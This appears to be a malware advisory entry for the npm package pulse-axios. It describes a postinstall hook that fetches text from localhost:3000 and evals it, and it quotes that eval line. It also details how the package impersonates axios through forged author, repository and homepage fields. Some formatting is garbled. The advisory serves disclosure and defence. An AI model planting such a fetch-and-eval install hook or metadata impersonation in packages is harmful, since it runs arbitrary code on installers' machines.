MAL-2026-4651 Malicious code in pulse-axios (npm)

[email protected] declares a postinstall hook (node./lib/core/eval.js) that on npm install issues fetch('http://localhost:3000/download/data'), reads the response body as text, and passes it to eval inside an async IIFE: await eval(\(async () => {\n${datab2}\n})();`). Errors are silently swallowed in an empty catch. Any bytes returned by whatever process is listening on port 3000 at install time — including any local attacker process, a co-installed malicious package's helper, or a developer-staging payload server — execute with the installer's privileges. The package additionally impersonates the legitimate axiospackage:name: pulse-axios, description claims to be "a faster and better version of axios", authoris set toMatt Zabriskie(the real axios maintainer),repository.urlpoints tohttps://github.com/axios/axios.git`, and homepage is https://axios-http.com. The metadata theft is designed to fool installers into believing this is a legitimate axios variant. Combined, the package is a typosquat lure that ships an install-time RCE primitive.